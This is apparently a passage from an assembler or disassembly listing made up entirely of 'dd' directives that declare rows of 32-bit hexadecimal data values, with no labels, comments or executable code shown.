		dd 0A700AEE6h, 0AEAC54F6h, 45DC959Ch, 215DEE02h, 0B6DA40F2h
		dd 0C133AB16h, 172554A5h, 7A09FB30h, 6F2138D7h,	5360EF5Ah
		dd 4A6B67E3h, 1C3EC18h,	36D56CB9h, 0D16BB7E9h, 6C5BDF0Ch
		dd 24B01035h, 6047D6Fh,	0D3A4ADB1h, 1275F2BFh, 7EA4AE92h
		dd 1272B4B4h, 3B1DB15Dh, 0B3B232FAh, 437C9A58h,	13C6F339h
		dd 0FBC0DD0Ah, 1629B850h, 0A87A9921h, 0C487417Bh, 494A5315h
		dd 40F399ABh, 0DA211661h, 0A22F2E41h, 0C31A2ED9h, 0A37232B7h
		dd 0BACCD54Fh, 272DF59h, 0F4028BE3h, 0F1085D3Eh, 50C801D3h
		dd 450941EAh, 1CF4A9FBh, 5525681Ch, 2D4F2694h, 0E93A02BAh
		dd 804A4EBAh, 97609E57h, 0E52195Dh, 856801CEh, 8FB3286Fh
		dd 996EC457h, 0AF641D97h, 0BD50F5F0h, 0E84018EEh, 6D849DD2h
		dd 0AAEEF089h, 5F2D3700h, 7377E281h, 0E97908D8h, 0BB09D9E5h
		dd 0ADC8517h, 8900DBD5h, 55347826h, 6BF97729h, 74005196h
		dd 0B2C040Ah, 0C77C70FBh, 0C2DF08A2h, 0D8D54066h, 72F64C7Fh
		dd 89F8C600h, 0E0E9E38Bh, 1B8C054Ah, 21674DF5h,	6CD26882h
		dd 0E9C7659h, 0E149D96Dh, 0E6B46858h, 16A032C6h, 5F263E1Eh
		dd 3A077D2Eh, 78B9CC75h, 664A998Ch, 8B4006F7h, 57BC9D52h
		dd 4D40120h, 3AC06EB8h,	3A89FB5Ch, 2D2350E8h, 0AEF71385h
		dd 154FAD18h, 0C465AD2Fh, 0F6AA751Eh, 7B45AD4h,	0BF709AE2h
		dd 9D74205Ch, 3B42E9DBh, 0CF0E297Ch, 0C44C166h,	1628C325h
		dd 397E8CCh, 6866342Ch,	46A54EFDh, 3258B1D6h, 959091BDh
		dd 5A32FDE6h, 2669EA40h, 0EF0B70D2h, 0A5A0D121h, 9A9BC879h
		dd 0BD321227h, 0F817C919h, 0F5C05789h, 0F7082CEDh, 0EDF3FD35h
		dd 74AD46C4h, 0E66DE11Eh, 0F71C0C2Dh, 0F2B7EE17h, 608AF635h
		dd 5AC7177Dh, 2E98E66Eh, 0A134EF0Fh, 5C296BE5h,	0C7DDC91Ah
		dd 0EF76AFDFh, 40709E4Ch, 4E00BE11h, 814BB118h,	306EC5E6h
		dd 22844407h, 2C09534Dh, 5241CDE9h, 0A23BFF3Eh,	75E0D242h
		dd 0CB080973h, 6155211Bh, 40000312h, 0B60494Eh,	0DFD1B8C4h
		dd 9183B7F5h, 0AB84D568h, 814F13DBh, 246F2A01h,	410A14EFh
		dd 844B5E21h, 28015A2Ch, 0EBD16AF8h, 162C9B20h,	0AC58F478h
		dd 0BDEE98D7h, 0D3899C1h, 38192C98h, 0ECEF84A0h, 0D28963ACh
		dd 0FD885EDEh, 0EB5817FEh, 3F7C9304h, 440D9BBFh, 0C49753B3h
		dd 0BB682D63h, 579E8D51h, 896BD94Fh, 2117E79h, 2DD80A13h
		dd 3C7AE0D5h, 0E9391272h, 0E156D057h, 0C87921B0h, 0DCA6F0EDh
		dd 89A2A509h, 0CB7B16CDh, 33624B7Ah, 0D35A521Eh, 0EA0035FFh
		dd 0F26ECB86h, 0AE3C5F87h, 58304778h, 68C29820h, 0E29A3CBAh
		dd 31E93F40h, 0CBC1BD60h, 585916C0h, 0BC056436h, 1F41C167h
		dd 690C80D6h, 0F5093505h, 0DC42A927h, 2DB3973h,	0A1E9508Bh
		dd 6E2577DCh, 0F85A7EE3h, 0C265C026h, 0BA954066h, 2A92DABDh
		dd 99C0AA0Eh, 805D18CFh, 940B3D9Dh, 88EB011Bh, 0E2708AEh
		dd 7F2C3719h, 657559E9h, 4185C850h, 1F9A20CFh, 0A3017FB9h
		dd 0C1422423h, 0DC812771h, 52853998h, 2D3F2048h, 0C365A29Ch
		dd 9D57D2A0h, 0AA2FF716h, 5E7FC64Fh, 5053FCC5h,	868AEB6Ah
		dd 9881F55Ah, 8EED0472h, 0C718E203h, 7E64EB1h, 5AB73958h
		dd 199A3D3Ah, 0FE977F28h, 0EFBA2526h, 38626EDCh, 0E4F50B63h
		dd 3BC181AFh, 0EE7C4B3Fh, 8D8F2AF5h, 81A83E12h,	3FED8D5Ah
		dd 42A759F4h, 0AEA0D791h, 0C5CA4EE9h, 642AAE26h, 0BD86942Ah
		dd 768CD9E0h, 5D4D92B7h, 580318F8h, 0C92F962Dh,	30FA852h
		dd 1110A0Dh, 3A0705F0h,	726E11D1h, 2402F02Fh, 0BDC2FB72h
		dd 54AB1794h, 0D301BF4Eh, 223685Bh, 21826957h, 676CDD6Ah
		dd 45599631h, 0AA041E9Ah, 7D827485h, 9599C5F3h,	0EE0549BDh
		dd 0E5429CE9h, 0DD624147h, 2302B2Dh, 4AFD095Eh,	0FAC1216h
		dd 75A27ADDh, 8E804E6Dh, 46A3728Ah, 3AE66C1h, 9D6ECEFEh
		dd 3BFDE14Eh, 270831AEh, 669C87FCh, 0F733DE87h,	0C10D5ED3h
		dd 41689DF5h, 0B8EBC10Bh, 42021D0h, 8447A5E5h, 0C245BBE9h
		dd 2FEC32E9h, 0EF2F7142h, 9F633E32h, 19D291CAh,	0FD150250h
		dd 1733F195h, 5828C166h, 87E86E05h, 0A4775A25h,	0F44081A9h
		dd 5B57BB25h, 681377A4h, 318D172Dh, 0BA676BF7h,	326C35Dh
		dd 0CA1FB30Ch, 68E30143h, 475C0CB2h, 0E3738B60h, 0C3619D02h
		dd 8CDE4352h, 0E961A5A0h, 550D1131h, 22E0C0C3h,	4BF3F617h
		dd 6F349DFBh, 0E7FE3252h, 74BCD247h, 72A431E1h,	0D4FD4AAFh
		dd 1FA7B04Ah, 0F802BA41h, 64D6535Eh, 46EACCAFh,	0E1511D63h
		dd 7355F168h, 0F5BC7282h, 0E9FF8CBFh, 0D452C773h, 0F465D29h
		dd 0D74DBAF8h, 0F2810008h, 2B894AE3h, 0DE2EE42h, 25EE5761h
		dd 0A8E901E6h, 26837E10h, 0B757C5Ch, 45D37DBFh,	983FA37Ch
		dd 903C202Ch, 66D72032h, 0AEE5CF32h, 0A525D705h, 4FCB8329h
		dd 0B125EE9Dh, 63D82102h, 9FA4C03Dh, 0F8828320h, 9DFE52DFh
		dd 17B8475h, 57612CEEh,	0EB554Ch, 3CDF4071h, 0C02383E9h
		dd 6691BF46h, 0C1BF3733h, 0D93F0490h, 278C743Fh, 0D6C25558h
		dd 524CC8EBh, 5D2FBA03h, 0BB4A5585h, 0AA925087h, 621A2DE9h
		dd 6254E7B1h, 3004D211h, 4E182603h, 0A52D3AE8h,	0CABCC85Fh
		dd 1E562D31h, 0FF89897Fh, 76B7BB00h, 0E917165Bh, 98F9C64Ah
		dd 0EA88870Ah, 0EC7313ECh, 9BAC4B9Ah, 8B3DC2B4h, 8709577Ch
		dd 9992CC34h, 365A0820h, 8B01E635h, 20856AD5h, 6CE5EA40h
		dd 49884C50h, 5340ED1Ch, 3CB4BF80h, 0FB7DD6EEh,	0A658A58Bh
		dd 0EEC1A120h, 20C86F3Eh, 0BD3958ECh, 1C40AB16h, 0A65558E3h
		dd 62F07304h, 0FEC6BE5Dh, 126F697Eh, 3BF19FF8h,	41C921D8h
		dd 5F28A2Dh, 40023BF8h,	610C9411h, 515754E8h, 945CB86h
		dd 5052D0F7h, 4654F232h, 731CA003h, 5B0C0111h, 17A9DA3h
		dd 931549D5h, 0E489B3E4h, 4F682464h, 45DE8DBCh,	0A5C4A1EEh
		dd 55EF5527h, 0A50B5327h, 642165C9h, 0C84EFD7Bh, 39804EDCh
		dd 0EB9C8FC3h, 106E3B3Eh, 0A71765B0h, 0AABB84BFh, 0E3957BE8h
		dd 178AFE4Bh, 45B87C17h, 0A83EE3C3h, 53ACC745h,	67817234h
		dd 6B424A2Ch, 0AB05402h, 4975E16Eh, 2AF06457h, 8AD37472h
		dd 0ED0FDE71h, 0BCB060Dh, 0A8CEE913h, 0E5EF5D4Eh, 62B2650Dh
		dd 18575A27h, 0E12285ACh, 0EE58020Ch, 53188073h, 9058142Bh
		dd 41676ACh, 0F8E90215h, 578AEEC3h, 1C686B10h, 0D992CA87h
		dd 7F08F51Bh, 0FADE2510h, 47C52220h, 0D14C422Dh, 4BF101F6h
		dd 56543F7Ch, 0D66A60FEh, 0E0535C0Eh, 1D13F73Eh, 0E7910021h
		dd 66296415h, 0F0BFD176h, 0EA5B26ECh, 930309CAh, 0FAAA965Fh
		dd 567B5675h, 0B20C9851h, 0C9394FF0h, 2D82406Dh, 24C1028h
		dd 2AEA18EAh, 16D7010Fh
		dd 0E8729EE9h, 0D6099E71h, 3013528Ah, 0F76DB1F6h, 5F279DFBh
		dd 0F25443EEh, 0E574BDh, 0CC888DB1h, 0B53E5159h, 0C281A5C4h
		dd 93FD00F5h, 90232F5Dh, 0EC275B0Bh, 2DB0C452h,	8C53FA13h
		dd 0F425AFF5h, 8B1D8B7Ah, 0FE9940F3h, 0BEC058C2h, 9938039h
		dd 7677EF28h, 5282F7C0h, 37A176B6h, 0B8067DE6h,	0C6C87A1Fh
		dd 0AE3B12EAh, 0F8C2111Ch, 750BB151h, 0FE628B76h, 0F48975C1h
		dd 15AE2009h, 881985E6h, 166C0439h, 90EA596Fh, 7D44B01Ch
		dd 0E94A4806h, 4D32303Fh, 2579005Dh, 0B73B320Ah, 825D2ED9h
		dd 0A2B35316h, 1CD35EFEh, 9BCBC015h, 0E3C0D3F6h, 74A20561h
		dd 0F1F4C9FEh, 60E97D25h, 0E0C3517Ch, 1612E52Ch, 4310FB01h
		dd 3CE14508h, 8DE9A345h, 39800FF0h, 0F59938E5h,	0F08C0CA2h
		dd 3CB003EDh, 0C214AE7Fh, 7299280Dh, 8CB59EAh, 3DD11105h
		dd 11A73475h, 9074D4DCh, 0FFA020DDh, 3A8E5650h,	55F66880h
		dd 0B32E5479h, 0EEA4EA6h, 0D73228DFh, 0FE6B9181h, 4021304Bh
		dd 0D64C09Dh, 0A74C2C93h, 0C06A125Ah, 221FBD4Dh, 0F765100Ch
		dd 1393AD5h, 0D105BE4Bh, 0E00825E0h, 0E29511C7h, 72E60087h
		dd 2577FE5Dh, 0C0A80E9h, 0EBCB15D6h, 751AB902h,	0F1D5553Fh
		dd 0E94E6068h, 5797F19Ch, 56205E18h, 4989D995h,	862F674Ch
		dd 691C7E9Ch, 0C4497307h, 6E24E16Ch, 1E051270h,	697E3047h
		dd 3BAB2CCCh, 14462BFh,	454B6807h, 3D44D83Ah, 1313203Ah
		dd 0A25336E9h, 899E4427h, 5759CAC0h, 0EBEC4F64h, 63880804h
		dd 56D553A0h, 0CC4CC0A9h, 1C500E8Eh, 81834666h,	0BB27D0F6h
		dd 0D6F7C94Eh, 0B0E6C1F0h, 849E4BA4h, 0EE39FB6Bh, 104EF23Bh
		dd 9B4817CEh, 1DFF713h,	9B28C7C1h, 88A96B0Fh, 40F44040h
		dd 5F2D68A9h, 0A7EC9862h, 1F858253h, 0F02CE42Dh, 3575081Eh
		dd 5D911BDAh, 0CC73777Eh, 0AFB5FFFDh, 37A8EF4h,	0E9291E10h
		dd 8D5FC84Dh, 0DD93D75Eh, 35E80AA1h, 650A449h, 19345AC3h
		dd 0FB09E258h, 25B055Ch, 427F4EE5h, 4B60DDE4h, 8C5F55D8h
		dd 0CD00F4B8h, 311C3B58h, 524EE9F9h, 7DEEDCD2h,	81A02670h
		dd 5F913573h, 51172709h, 0C99A2866h, 737A5B0Bh,	0BDC7B720h
		dd 504CCD8h, 784B5429h,	0BEED782h, 42486257h, 48F37F31h
		dd 3BBBE941h, 9019E769h, 20F22FECh, 3117F338h, 0CE04D001h
		dd 290FCF68h, 0B494FC73h, 0D9166A85h, 2D299FE4h, 0A79A58C3h
		dd 0C9E2AE6h, 0FE95E942h, 91A0276Dh, 0E8289AB5h, 528F7CB7h
		dd 0B79F94DDh, 0A204CED8h, 0E63042B6h, 2D1ACBAEh, 0E49EF050h
		dd 9DE912E8h, 178BEA8Dh, 0A704904Ch, 94BD03Ch, 0AD8E5322h
		dd 0FA2007CCh, 67CD983Fh, 0C3522F67h, 0AF02308Ah, 2F280EC5h
		dd 0A0D87760h, 0F5E97FEh, 0FDD38EA8h, 4C6DC54Ch, 3084FEFh
		dd 0D96F5404h, 0A8A8ED51h, 0E23EDF13h, 5077753Eh, 750BB875h
		dd 7D4284E9h, 0DBB34BB8h, 355B8CB0h, 41F0BE98h,	50046B15h
		dd 0B90A6ADBh, 0BEF60B9h, 58134713h, 0EE0ECF01h, 0D4B2D69Ah
		dd 0B51F7378h, 0A46EDA7Bh, 41A28DD7h, 0C89BAE4Ah, 0BEA6E916h
		dd 16507E8Ah, 0BBD7407Dh, 9A38810Bh, 845C584Eh,	0FF514E75h
		dd 17C7EC50h, 0D62136C8h, 0AE146073h, 11CB0BADh, 7DEB8BE8h
		dd 0AFA5B09Dh, 907D9722h, 0A4C10987h, 0D7C318C1h, 7B650B46h
		dd 90F501F4h, 6816EB10h, 8B32EEBFh, 66579057h, 10F026BBh
		dd 0B5422DCCh, 3A09055Bh, 419877C5h, 0DBB540B0h, 16F02C07h
		dd 2A784132h, 2A08190Dh, 1E7A2CBFh, 6AD67317h, 8444EE0Ah
		dd 1249C181h, 0A43EF535h, 85A89BCh, 0C8DE4EEDh,	5D0E2D30h
		dd 0DABAE557h, 0FCA8E834h, 0BE201D32h, 0D13AEB77h, 33436864h
		dd 0A5048325h, 4B403FB0h, 31AFC817h, 0C014AA88h, 6ADCE731h
		dd 0D59D2893h, 2D77BCA0h, 0CC15AD8h, 4C463E76h,	0ED42092Eh
		dd 79257776h, 19CB4FCAh, 6EDF4D91h, 1AF52BBCh, 0D677C456h
		dd 97FCA0C7h, 0D6EBBF65h, 937E2F94h, 2AA2BC2h, 657AC729h
		dd 6CACC624h, 6538778Ch, 38575D68h, 0F35E5BC9h,	0B8F0AC2h
		dd 17A47800h, 419F114Ah, 37FD45CCh, 0A8284EF3h,	0D2C74FC5h
		dd 801999D2h, 51075E87h, 902D002Bh, 0E93D9344h,	1497CC41h
		dd 92F9F83Eh, 800A9572h, 48360D05h, 19AAB7B1h, 0C48DDAB2h
		dd 2B832756h, 0FCA096D5h, 0C8455FA4h, 0F27684Ah, 25B6E64Fh
		dd 3371E2C4h, 56E7D789h, 9444CF9Fh, 7768B916h, 0B0FEB327h
		dd 80D42632h, 5A0FED81h, 690D346Fh, 193605Dh, 29FD9DF0h
		dd 0A0B64140h, 0C17E90ECh, 5560FA0Ch, 0C78A4337h, 98F24903h
		dd 0C35BA1Eh, 0A115950Ch, 0D55C2F54h, 89BED6F9h, 0FFAD7A56h
		dd 26FB4E7Eh, 3BEC1FDEh, 0FD346727h, 0FA7F2F89h, 0AEF84B61h
		dd 3A684C91h, 0E75718A7h, 5819ADB3h, 8CD5559Eh,	0C094969h
		dd 5577025h, 23C3D16Fh,	0E3FF8547h, 60EED359h, 34875F43h
		dd 0E2797CBFh, 0D014D5Dh, 1F0112Dh, 3E43B951h, 0F4F12F2Fh
		dd 7E673D83h, 41E46756h, 80867105h, 1DFEE891h, 0CECD0BCh
		dd 0E80F1967h, 24E03831h, 0D75B2190h, 1F2AACB0h, 8C0A734Bh
		dd 301CBC32h, 6866D805h, 19C95246h, 1644EB2Fh, 22D7E8E9h
		dd 4DE700FBh, 4E0E9858h, 868A8389h, 16A2AFDDh, 136A44Fh
		dd 689276BDh, 9501666h,	0BE73210Ch, 0C2265EA7h,	67F61274h
		dd 6CAC04CBh, 7FC1EE12h, 0D056476h, 8D0A12D9h, 0DFBE526h
		dd 0D52D5640h, 2BF32715h, 0E959575Ch, 180FBC3Bh, 0E49AC101h
		dd 7D16B757h, 4564EB98h, 0BCE8C1D9h, 0ED1ECB12h, 0FF1FF4BFh
		dd 0E54EDF42h, 9AEAFF50h, 6BD647DFh, 0F8B5E27Dh, 183B09DCh
		dd 82896EC5h, 0E1BEC602h, 0D9A06D7Ah, 11252138h, 82131A6Dh
		dd 647930FBh, 616AEE9Eh, 0E8C16825h, 0D3F5FD12h, 0AAACF4FFh
		dd 4DF4A899h, 2CA792ADh, 6A7E6470h, 1A9D0025h, 0B1BA71FBh
		dd 7C291326h, 5763E22Fh, 0BE13ADC5h, 0E9C680EFh, 9E9E78D1h
		dd 0D7164982h, 40A5402Eh, 15F41D0Bh, 0AD5B26E9h, 0DF410648h
		dd 84A0D9B1h, 6E23270Ch, 6306C217h, 77679040h, 6CE91C98h
		dd 80626D4Ch, 0B9C8D293h, 2CE79A21h, 3C59D1E2h,	68208B5Ch
		dd 0CAFB017Eh, 95741057h, 0A8F9C545h, 5635CC58h, 50867CBDh
		dd 8094B4E0h, 0E888A452h, 5E2CCAB8h, 0E329428Ah, 86648A76h
		dd 0F71260BCh, 8B02EAD3h, 76E628C1h, 0BDBA83CDh, 80C448CCh
		dd 11093D26h, 0C8C2514Fh, 55088BEAh, 7B67F6E9h,	8BEB8216h
		dd 18E4C1Dh, 0DC274868h, 0E6F85E73h, 0F7390F7Fh, 0E5F3E971h
		dd 0EE970571h, 0E8EA24C4h, 0C9D3CF35h, 13D104DAh, 20B6B701h
		dd 845F7CFAh, 0C788E051h, 205F4173h, 53E657FFh,	485087E7h
		dd 0E9714A15h, 0F73E0C16h, 7A8D4581h, 0D1E46BFDh, 5809A782h
		dd 284E73B8h, 0E9A0F5A2h, 46B70FE1h, 396827E6h,	0A025E55Fh
		dd 2FF6BD9Fh, 8724B226h, 0F02BDCAFh, 1C5F4F09h,	425E59F7h
		dd 41ECE998h, 7F4D3049h, 0BAA8B617h, 449250E2h,	0C02AFAC0h
		dd 25E93B39h, 4CFD5947h, 0B12568CCh, 0FCFC245Ah, 0AD27FE12h
		dd 0FEBD7DA4h, 790B6E14h, 684FA96h, 9B0035B1h, 3C6A1206h
		dd 2ED80146h, 0FC750470h, 0AEEDC102h, 0A00B34C6h, 30E208B5h
		dd 5238BB95h, 71278A37h, 37C4229h, 0D6F4E908h, 0DAB3177Eh
		dd 92FE1EC0h, 0BABFC496h, 0A6BB7C24h, 0A9A84E79h, 0DAC83C27h
		dd 0CF031551h, 0E2C15A55h, 2CD63502h, 7E3B043Ah, 0C51F1212h
		dd 5D69CBA4h, 68586A79h, 926F4B37h, 0C30FDB90h,	0A03D18BFh
		dd 7962EF81h, 0DF293271h, 5B07C710h, 39ECBDE1h,	0D8C51487h
		dd 0CC8CF90Bh, 5F81ED10h
		dd 538DC32Ah, 34FE5DEBh, 872C4B7Ah, 0BA06BEDDh,	31306101h
		dd 0B4809EC2h, 0C55207F8h, 43ECF70Eh, 5113BC60h, 0E1177B9h
		dd 0D1F77E88h, 85E9D94Fh, 0EDB16D70h, 9C657D27h, 2B5797CEh
		dd 7E733DFCh, 0BF73B61Ch, 0A7756BA6h, 7C72B9D4h, 73C60BD8h
		dd 77293AD7h, 5B58ACB0h, 139FE913h, 0CBF167AAh,	5E69BC75h
		dd 0CA799081h, 6AB80959h, 82808E9Ah, 27006E92h,	4FF18134h
		dd 0B06C893Bh, 0BF9C4BF1h, 6857C870h, 1D1A4D8Ch, 1DF3B884h
		dd 4EAD0F55h, 83C5AB81h, 80FF5A02h, 0C06E3A7Ch,	3790C91Bh
		dd 0F789E598h, 0EF02A898h, 2FA2B5D5h, 0A4B0DF57h, 4482B6B3h
		dd 9CD8F25Fh, 1D59257Bh, 8532076Bh, 0E8CCF939h,	1CFB08A2h
		dd 4ED3880Ch, 797782D6h, 1DC7A8BCh, 9777585Fh, 0ACC5BAEBh
		dd 47E9A381h, 0F94FEB78h, 0D921C4AAh, 735F5122h, 6001443Eh
		dd 980AE9C1h, 622E2F33h, 5ED6E2ABh, 1440D3A8h, 50C50780h
		dd 0B2EB2858h, 9656902Ch, 5A25406Ch, 7C952DAh, 156E863Dh
		dd 0AE78AB69h, 6F638E9h, 9C38EB5Fh, 0CAFA5A01h,	9D95924h
		dd 0A09F7BE9h, 0CB3CDC44h, 0CF012615h, 0EBD40C29h, 709FD18Fh
		dd 47FC9514h, 0F7376FCFh, 0E60B3CF9h, 0E720C556h, 3B2A6D96h
		dd 0E9161898h, 0C6A63A19h, 0B6DA363Eh, 0A2A24A28h, 0F67C29C9h
		dd 724D712Fh, 0DCAF45C5h, 51557216h, 0B2E98967h, 0DEBD9370h
		dd 6855D826h, 2332DE01h, 0BAE95D2Bh, 78FDE32Eh,	0FBE0BB2Fh
		dd 65E961CCh, 11402F41h, 0EE50FBC2h, 5AD00A31h,	1693C689h
		dd 0B592BC8Ah, 0ED4B38BBh, 41760344h, 0A4DA07C2h, 33B80060h
		dd 581EF555h, 0B4586C09h, 2EA6F24Ah, 2116DFB4h,	690C8CA4h
		dd 3881BDE5h, 0BE0BBD31h, 9DAAF1Ch, 35C281BBh, 0F36F11C0h
		dd 589E6458h, 26C3680h,	7C1C58C7h, 1D4A8000h, 8BE6E921h
		dd 0DDF359C0h, 9D35F47Dh, 0D19DC5F1h, 89DBF78Ah, 0A984C91Ch
		dd 0DDFB295Dh, 0A3B82ECAh, 0B0C1BFD2h, 1AC223D2h, 0F8405174h
		dd 9B3662E9h, 0A50513F2h, 4F676013h, 1E4BBF80h,	8D0CBB6Eh
		dd 1141B02h, 251FD3EDh,	4B522CF9h, 2E1269AEh, 0A64E05F9h
		dd 207258F7h, 4EE92F10h, 0F381B3D4h, 0EF67D847h, 536A92Fh
		dd 4D266574h, 8D714D87h, 393CBC8Bh, 60134417h, 720DAD55h
		dd 15056303h, 2DA95121h, 72947AB8h, 75555D27h, 732F3217h
		dd 7C350CB4h, 0E55E46B7h, 0D0C502F8h, 0F986B561h, 0C24C0743h
		dd 453318C9h, 0CE1D0C5Fh, 2AC83C24h, 1B2CB13h, 112A05Bh
		dd 726C7F2Eh, 76B100C9h, 0C7174003h, 62FB3B0Ch,	0FC68517Ch
		dd 7F0A5C7Eh, 62D5849h,	26BD627h, 32202F2Ch, 0F33DCC5Eh
		dd 0D48AF225h, 6005E0CCh, 305AA975h, 7073BA1h, 4462F759h
		dd 18BD9677h, 4C6797E9h, 5303D2F6h, 0E78057B7h,	61C798F3h
		dd 0BFFA4A30h, 1F22E28h, 0B05066F7h, 68CDE989h,	0DECA5BDEh
		dd 0FE20C046h, 2D149C48h, 0DA40A00Ah, 7C32343Ah, 47B12D48h
		dd 0E9D8817Ch, 9D0BEEAh, 0F596F829h, 2586FF97h,	44A0611Eh
		dd 2A22161Ch, 0D6F70775h, 0B09A668h, 4C16E67Fh,	5ECA41FFh
		dd 3CE640DAh, 23160105h, 1044CE87h, 0BE1736CCh,	0EA5A3FDEh
		dd 8C689669h, 531682E6h, 50036D68h, 64B5B12h, 840AA36h
		dd 0EE0B0C7Dh, 7F702C82h, 0B0E94682h, 335C8BDFh, 6D77D9C5h
		dd 6D39BB2Eh, 999E3BFCh, 222F02E1h, 0C68E381Bh,	130E4C22h
		dd 61D0C7Fh, 0E8D13C08h, 0BC04F172h, 0BB222687h, 0DF170C12h
		dd 0ACD6C4B2h, 5E6938h,	1628EC1h, 0FAE919EFh, 0DD807891h
		dd 0E9FEC166h, 0C4872B16h, 0E9535989h, 38EC465Dh, 0FF4A3910h
		dd 83298B8Ch, 93F053F2h, 66CCB224h, 93404810h, 908ABFBAh
		dd 3C2E3C9h, 2F7DE4E1h,	8419CB8h, 98F2F07Bh, 0E3022391h
		dd 0A2E249D2h, 5FC521BBh, 4869AE5Bh, 12BCC59Ch,	269710Ah
		dd 0B10FB7E5h, 0BFD1516Ah, 0CE5C1109h, 96BB36Ah, 265875E9h
		dd 7CAF7CB7h, 1ED9E92Ch, 180A5E95h, 0F14F777Bh,	8A031DCCh
		dd 54BAC4Ah, 0AF1D3426h, 13708A41h, 1C8255DEh, 1EDB7F4Bh
		dd 9FA0E4DDh, 569F25Ch,	0CFBEA79Bh, 5AED025Eh, 40DA7C9Eh
		dd 0FD8B5D04h, 0BE2EBA3Eh, 0A802D265h, 0EDABA425h, 8D09FE9h
		dd 0BCFD4F70h, 77EB1C33h, 405EC3C9h, 0BB699444h, 100C10ECh
		dd 800C84E4h, 3706B5F1h, 0BDB0CBE0h, 46145427h,	0DDA2202Fh
		dd 6D73507h, 4BA53862h,	434D79A8h, 6555E9E1h, 0C24E32C5h
		dd 4754505Ch, 2A9208D3h, 0E9BABB27h, 986F185Ch,	6C4AD05Bh
		dd 0D79636F9h, 9AA15B3Bh, 0E0E1F65Ch, 8BC0C141h, 6D952AEBh
		dd 0DA313EAFh, 6609EDADh, 83E91F5Eh, 4A8A8284h,	8F6182E7h
		dd 65258C56h, 0CC551F6Ch, 210C46B2h, 27C7D04Ch,	79537C47h
		dd 44E048FFh, 0D0B3074Ah, 0D8515384h, 0ED7AB7A6h, 95CF63Bh
		dd 6278E901h, 9387046h,	2841F380h, 0E406D40Dh, 9A4C2C4Fh
		dd 62C928DCh, 0DEB05073h, 9812D825h, 5E7D68D1h,	0E9C9D80Ah
		dd 0E113DE5Fh, 0CB5EDA2h, 0FAFF1629h, 0BD4AEBEEh, 10B7EEACh
		dd 4F5F3B56h, 6B020D98h, 965FF44h, 77FBC8CFh, 30372401h
		dd 45A302BFh, 0D940750Dh, 2E074FB6h, 2709E93Ah,	6A38FD0Bh
		dd 95C01019h, 6D851FC5h, 0C8589550h, 5ABFA490h,	1F64F327h
		dd 8D899FF4h, 0EB4A44E6h, 0D887D0A5h, 270E45FEh, 1C6D01h
		dd 17E95108h, 0FECAE24Eh, 0BAD4F413h, 4570F530h, 1C5B48B5h
		dd 1C06511Ah, 3F2D6557h, 0CC97B516h, 4D49989Dh,	0C139FBFh
		dd 0A23167FAh, 0E9F23ABEh, 30AA505Ah, 0AB134768h, 7CB8703Bh
		dd 0D08F542Dh, 1ED6C1CBh, 969781Dh, 0F7090804h,	4F69F255h
		dd 8212ABEEh, 716704FFh, 49C1E651h, 86DF4F77h, 415E4A60h
		dd 5295743Eh, 0E9088014h, 56596D18h, 0AC82FA46h, 1C7BFEABh
		dd 2BF3BA45h, 0A702AB5Fh, 479525E9h, 827BFA1h, 52861E86h
		dd 97A09090h, 881F5205h, 4BFAF6DEh, 0E1126FB8h,	0E02E8981h
		dd 0CBACD7A1h, 25535EB5h, 0B224CFDh, 0BC7665BAh, 0DEF36902h
		dd 0BC0B1C75h, 0EEC51365h, 0B767CBC6h, 0DC4BFCD9h, 0C8750D1h
		dd 0ADCEE79Fh, 26DC27C2h, 1052008h, 0A4589FBEh,	8EE37032h
		dd 378C732Ch, 9D7CE03h,	52E9C047h, 529A955Bh, 62C0FC75h
		dd 0C06A30EBh, 7825CD7Ch, 4BE89779h, 0A6C14B58h, 6CCC6AA0h
		dd 0EE42BB3Ah, 0FF099014h, 0DD1C3148h, 56836082h, 8D8525BDh
		dd 0F709437Ch, 0C09D38D3h, 68D9BD45h, 0FA604842h, 2B7495A9h
		dd 4478927h, 580BFA7Eh,	52923075h, 0E9750CB6h, 0E27FB723h
		dd 0CD28F50Dh, 22F4AA0Bh, 70349540h, 0F45FE916h, 0A8FA3264h
		dd 0E44AA32Ch, 6C0DFF8h, 934DD1Dh, 0C2ED71B7h, 99F514C1h
		dd 0E778D917h, 0A665E04Ah, 8C061F41h, 809B4B10h, 9DE1B9A7h
		dd 2E021C5Fh, 80613EE0h, 2EEBF3E5h, 25009D12h, 0A8A6578h
		dd 999F0CC1h, 0FB38C864h, 0E9D12905h, 7E17EE90h, 3136CCBBh
		dd 0B232F35Eh, 3D227D5Eh, 0BAE56E67h, 73A483A7h, 0FF818509h
		dd 707A7FBh, 0D00E75C3h, 0F2295AE5h, 995C8FEh, 2F1C55B0h
		dd 0F4AF3225h, 0CDE4EBDFh, 4C88D240h, 845B85F8h, 0B409EC37h
		dd 7F1E8282h, 0A1210494h, 7016BC15h, 2B188946h,	0E9502B31h
		dd 0C5BB4BC7h, 2B4D8903h, 0C12F6AA6h, 9EFFB48h,	3E862F1Dh
		dd 2097E780h, 4524128h,	99634E68h, 8C7D8157h, 0B3530325h
		dd 0ABA55EA5h, 0FE614F36h, 0BAB04A3Ah, 16DA1288h, 0B65E077h
		dd 3E46D372h, 79D1F420h, 5DDF785Dh, 0B4042EF7h,	0ABE528B9h
		dd 78ABD7C1h, 51F7E112h, 2D46004h, 61F360BCh, 661C36B8h
		dd 4EE9C9ACh, 0E309AAC5h
		dd 0CDE9485Fh, 1F0C1D11h, 9AE5814Ah, 20467F4Bh,	9BD20A57h
		dd 8329F117h, 0FEB8C53Fh, 40E50C67h, 0BAAD3517h, 395AE04Eh
		dd 5AFAC849h, 244781F0h, 2BF2A1Ch, 62A01D9Bh, 0F048CED7h
		dd 0BE1505DCh, 0FA015F97h, 5F5ECFCCh, 68FB9C8Ch, 80109249h
		dd 82185FBBh, 0D8599D70h, 0D053626Eh, 0CEE90008h, 6948F745h
		dd 61500222h, 0F4213873h, 82D516A7h, 72E04347h,	0CF2F3D1Dh
		dd 8220FD72h, 26071BE2h, 73904F71h, 12F21F4Ah, 12B34E84h
		dd 2F324490h, 0F630C6C9h, 2D051A13h, 28EC3756h,	0ECAF2084h
		dd 2D28A967h, 0DFE8EFB4h, 72E9D0C1h, 90A83B67h,	13F669C6h
		dd 5351E302h, 0A06C7868h, 19E1BE34h, 0BC7C4EEDh, 932E504Ah
		dd 0FA96404h, 82AACE21h, 6C770230h, 4B041D0Fh, 6E9AE8F3h
		dd 0C4A51C1Ah, 0A375EE01h, 0E9858CBFh, 926A5C25h, 25EAD2B1h
		dd 4096D7DCh, 394783A1h, 61BC062Ch, 0B0C5567h, 461771E4h
